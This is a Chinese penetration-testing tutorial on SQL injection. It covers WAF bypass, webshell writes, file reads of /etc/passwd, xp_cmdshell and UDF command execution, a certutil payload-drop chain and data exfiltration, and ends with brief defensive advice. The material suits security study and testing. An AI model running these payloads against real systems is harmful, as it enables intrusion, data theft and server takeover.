渗透经验分享之SQL注入思路拓展
字数 1938 2025-08-20 18:18:23
SQL注入高级技巧与实战思路拓展
1. SQL注入常见场景分析
1.1 常见注入点识别
-
搜索功能注入:
- 开发人员可能直接拼接SQL语句而非使用预编译
- 典型SQL语句示例:
SELECT p.* FROM {p}_page AS p WHERE p.[title] like N'%用户输入%'
-
ORDER BY注入:
- ORDER BY后不能参数化,是常见注入点
- 重点关注sort、orderby等参数
-
日期类型参数注入:
- 未强制类型转换的日期参数易产生注入
- 示例:
SELECT * FROM wp_posts WHERE post_date BETWEEN '用户输入' AND '用户输入'
-
其他易忽略点:
- 语言参数(lang=cn)
- LIMIT子句
- 任何未经验证的用户输入参数
2. WAF绕过技术详解
2.1 WAF检测原理分析
-
分段测试法:
- 测试
select user()被拦截 - 修改为
selact user()测试是否拦截 - 修改为
select usar()测试是否拦截 - 确定拦截规则(如
/select.*?user/正则)
- 测试
-
绕过技巧:
- 大小写变形:SeLeCt
- 关键字替换:user() → usar()
- 注释插入:sel/xxx/ect
- 空白字符:s e l e c t
- 编码混淆:%53%45%4C%45%43%54
-
高级绕过:
- 利用数据库特性:MySQL内联注释
/*!50000select*/ - 利用中间件解析特性:IIS的%解码特性
- 非常规语法:
+user()(SQL Server)
- 利用数据库特性:MySQL内联注释
3. 高效数据定位技术
3.1 大型数据库快速定位技巧
-
sqlmap搜索功能:
--search -D 数据库名 # 搜索特定数据库 --search -T # 搜索表名 --search -C # 搜索列名 -
关键字段搜索:
- username/password/credential/admin等敏感字段
- user/customer/member等用户相关表
- config/setting等配置表
-
系统表查询:
- MySQL: information_schema
- SQL Server: sysobjects/syscolumns
- Oracle: all_tables/all_tab_columns
4. 大数据表导出技术
4.1 高效数据导出方法
-
MySQL导出:
- mysqldump工具:
mysqldump -u用户 -p密码 数据库 > backup.sql - 站库分离时上传mysqldump到Web服务器
- mysqldump工具:
-
MSSQL导出:
- 直接导出MDF文件
- osql/bcp命令导出数据
- 示例:
EXEC master..xp_cmdshell 'bcp "SELECT * FROM 数据库..表名" queryout c:\data.txt -c -T'
-
Oracle导出:
- exp/expdp工具
- 使用UTL_FILE包导出
5. 文件读写技术详解
5.1 MySQL文件操作
-
文件读取:
load data infile/load data local infileLOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY '\n'- 读取MySQL凭据:
user.MYD文件
-
文件写入:
into outfile/into dumpfileSELECT '<?php phpinfo();?>' INTO OUTFILE '/var/www/shell.php'- 日志文件写入:
SET global general_log_file='/var/www/shell.php'; SET global general_log=on; SELECT '<?php phpinfo();?>';
-
UDF提权:
- 上传自定义函数库
- 创建函数执行系统命令
5.2 MSSQL文件操作
-
目录列举:
EXEC xp_dirtree 'c:\',1,1 EXEC xp_subdirs 'c:\' -
文件写入:
- xp_cmdshell写入:
EXEC xp_cmdshell 'echo 1 > c:\1.txt' - OLE自动化写入:
DECLARE @o INT, @f INT, @t INT, @ret INT EXEC sp_oacreate 'scripting.filesystemobject', @o OUT EXEC sp_oamethod @o, 'createtextfile', @f OUT, 'c:\www\1.aspx', 1 EXEC @ret = sp_oamethod @f, 'writeline', NULL, '<%@ Page Language="C#"%>'
- xp_cmdshell写入:
-
文件读取:
CREATE TABLE cmd (a text) BULK INSERT cmd FROM 'd:\config.aspx' WITH (FIELDTERMINATOR='\n',ROWTERMINATOR='\n\n') SELECT * FROM cmd
5.3 PostgreSQL文件操作
-
文件读取:
CREATE TABLE temp(t text); COPY temp FROM '/etc/passwd'; SELECT * FROM temp; -
文件写入:
COPY (SELECT '<?php phpinfo();?>') TO '/var/www/shell.php';
6. 命令执行技术
6.1 MySQL命令执行
-
UDF提权:
- 上传lib_mysqludf_sys.so/.dll
- 创建函数:
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so' SELECT sys_exec('id');
-
MOF提权:
- 写入恶意MOF文件到
/etc/mysql/或C:\Windows\System32\wbem\MOF\ - 利用Windows Management Instrumentation执行命令
- 写入恶意MOF文件到
6.2 MSSQL命令执行
-
xp_cmdshell:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami'; -
OLE自动化:
DECLARE @r INT EXEC sp_oacreate 'wscript.shell', @r OUT EXEC sp_oamethod @r, 'run', NULL, 'cmd /c whoami > c:\out.txt' -
CLR集成:
- 上传恶意.NET程序集
- 创建CLR存储过程执行命令
-
特殊技巧:
- 证书转Base64写入:
EXEC xp_cmdshell 'echo BASE64编码 > c:\temp.txt' EXEC xp_cmdshell 'certutil -decode c:\temp.txt c:\evil.exe' EXEC xp_cmdshell 'c:\evil.exe'
- 证书转Base64写入:
7. 注入拓展利用场景
-
配合文件上传:
- 通过注入查询文件存储路径
- 结合sqlmap的
--sql-shell定位上传文件
-
站库分离利用:
- 数据库服务器无Web时:
- 写入DNS马
- 写入启动项
- DLL劫持
- 数据库服务器无Web时:
-
横向移动:
- 读取数据库连接配置
- 获取其他系统凭据
- 通过数据库服务器跳板内网
8. 防御建议
-
开发层面:
- 所有SQL查询使用参数化查询
- 避免动态拼接SQL语句
- 对ORDER BY等不可参数化部分严格过滤
-
权限控制:
- 数据库账户最小权限原则
- 禁用不必要的存储过程(xp_cmdshell等)
- 限制文件读写权限
-
防护措施:
- 部署WAF并定期更新规则
- 启用数据库审计日志
- 定期安全扫描与渗透测试
9. 总结
SQL注入不仅是简单的数据查询漏洞,通过深入利用可以实现:
- 敏感数据窃取
- 文件系统读写
- 系统命令执行
- 内网横向移动
渗透测试中应重点关注:
- 所有用户输入点的测试
- WAF规则的探测与绕过
- 数据库权限的利用与提升
- 由注入点到整个系统的控制链构建
防御方则应建立纵深防御体系,从代码层、数据库层、网络层等多维度防护SQL注入风险。